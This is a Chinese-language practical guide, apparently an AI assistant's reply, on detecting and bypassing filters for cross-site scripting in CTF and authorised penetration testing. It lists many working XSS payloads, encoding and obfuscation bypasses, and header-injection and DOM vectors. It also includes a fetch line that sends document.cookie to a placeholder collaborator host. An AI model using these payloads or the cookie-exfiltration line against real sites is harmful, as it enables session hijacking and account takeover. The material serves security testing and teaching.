🛡️ 跨站脚本攻击(XSS)检测与绕过技术指南(实战版)

适用场景:CTF 练习、渗透测试、漏洞挖掘
前提声明:仅限授权测试,禁止非法使用!


一、核心原则:上下文决定一切

XSS 是否成功,不取决于 payload 多么复杂,而取决于注入点所处的上下文
务必先判断回显位置:

回显上下文 示例 应对策略
HTML 文本内容 <div>USER_INPUT</div> 注入新标签:<img src=x onerror=alert(1)>
HTML 属性值内 <input value="USER_INPUT"> 闭合引号 + 注入事件:"><svg onload=alert(1)>
JavaScript 字符串内 <script>var a = "USER_INPUT";</script> 闭合字符串 + 执行代码:";alert(1);//
URL / href / src 属性 <a href="USER_INPUT"> 伪协议:javascript:alert(1)
CSS 内容(罕见) <style>USER_INPUT</style> 极难利用,通常需配合其他漏洞

探测技巧:输入 AAAA"'><test,观察页面结构是否被破坏,判断引号类型、是否转义、是否过滤标签。


二、标准检测流程(由浅入深)

🔹 步骤 1:基础标签测试(检测 < >script 过滤)

<script>alert(1)</script>
  • 若被过滤(如 < 被转为 &lt;),说明有 HTML 转义。
  • 同时尝试
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    

🔹 步骤 2:事件属性测试(检测 on* 过滤)

" onclick=alert(1)//
' onmouseover=alert(1)//
  • 常用事件:onclick, onload, onerror, onfocus, onblur, onanimationstart
  • 观察是否:
    • 完全删除 on 开头属性?
    • 替换关键词(如 alert → 空)?
    • 转义引号?

🔹 步骤 3:伪协议测试(绕过标签过滤)

<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
<form action="javascript:alert(1)">
  • 适用于 <a>, <iframe>, <form> 等允许 URL 的标签。
  • 注意:现代浏览器可能限制 javascript: 在某些上下文中执行。

🔹 步骤 4:编码与混淆绕过

(1) HTML 实体编码(绕过关键词检测)
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)">click</a>
<!-- j=106, a=97, v=118 ... -->
(2) JavaScript 字符串拼接
<script>
  window['al'+'ert'](1);
  Function("ale"+"rt(1)")();
  eval('al\x65rt(1)');
</script>
(3) Unicode / 转义(仅在 JS 上下文有效)
// ❌ 无效(HTML 中不解析)
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

// ✅ 可能有效(在字符串内)
<script>eval('\u0061\u006c\u0065\u0072\u0074(1)')</script>

⚠️ 注意:纯 Unicode 在 HTML 标签中不会被解析为函数名,慎用!

🔹 步骤 5:无输入框?检查 HTTP 请求头!

  • 使用 Burp Suite 抓包,修改以下 Header 并提交:
    • User-Agent: <img src=x onerror=alert(1)>
    • Referer: javascript:alert(1)
    • X-Forwarded-For: "><svg onload=alert(1)>
  • 观察页面是否回显这些 Header 值。

三、高级绕过技巧(应对强过滤)

✅ 1. 大小写混合 & 空格混淆

<ScRiPt>alert(1)</ScRiPt>
<img/src=x onerror=alert(1)>
<svg/onload=alert(1)>

✅ 2. 无括号/无字母 Payload(极端场景)

// 无 alert 关键词
top[/al/.source+/ert/.source](1)

// 无括号
onerror=alert; throw 1

// 利用模板字符串(ES6)
alert`${1}`

✅ 3. DOM-based XSS 向量(不依赖服务端回显)

若前端 JS 使用:

document.write(location.hash);
eval(decodeURIComponent(location.search.split('=')[1]));

则可构造:

page.html#<img src=x onerror=alert(1)>
page.html?data=alert(1)

✅ 4. 利用 CSP 配置缺陷

  • 若 CSP 允许 'unsafe-inline' → 可用内联脚本
  • 若允许 data: 协议 → <iframe src="data:text/html,<script>alert(1)</script>">
  • 若存在 JSONP 接口 → 构造回调函数执行任意 JS

四、自动化与辅助工具推荐

工具 用途
Burp Suite + Logger++ 自动记录所有回显点
ParamSpider / Arjun 发现隐藏参数(GET/POST/Header)
Dalfox 开源 XSS 扫描器,支持多种 fuzz payload
XSS Polyglot 通用 payload(如 jaVasCript:alert(1)//")可同时测试多上下文

五、验证建议:不要只用 alert(1)

  • 某些环境会屏蔽弹窗(如 Chrome 无用户交互时)。
  • 改用外带(Out-of-Band)验证
    fetch('https://your-burp-collaborator.net/?c='+btoa(document.cookie))
    
    <img src="https://your-server.com/x?c=TEST">
    

六、总结:我的原始流程 + 优化版

原步骤 优化补充
1. <script>alert(1)</script> ➕ 同时测试 <img onerror>
2. 测试 onclick ➕ 扩展事件类型 + 观察过滤方式(删/替/转)
3. <a href="javascript:..."> ➕ 尝试 <iframe>, <form>
4. Unicode 编码 ➕ 改为主推 HTML 实体JS 拼接
5. Burp 改包测 Header ➕ 明确测试 User-Agent, Referer, XFF

📌 最后提醒:XSS 的本质是“在错误的地方执行了用户控制的数据”。理解上下文、观察过滤行为、灵活组合 payload,才是成功的关键。


如需针对具体靶场(如 DVWA、PortSwigger Labs、XSS.CHALLENGE.EU)提供定制 payload,欢迎随时告知!祝你挖洞顺利 💥

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐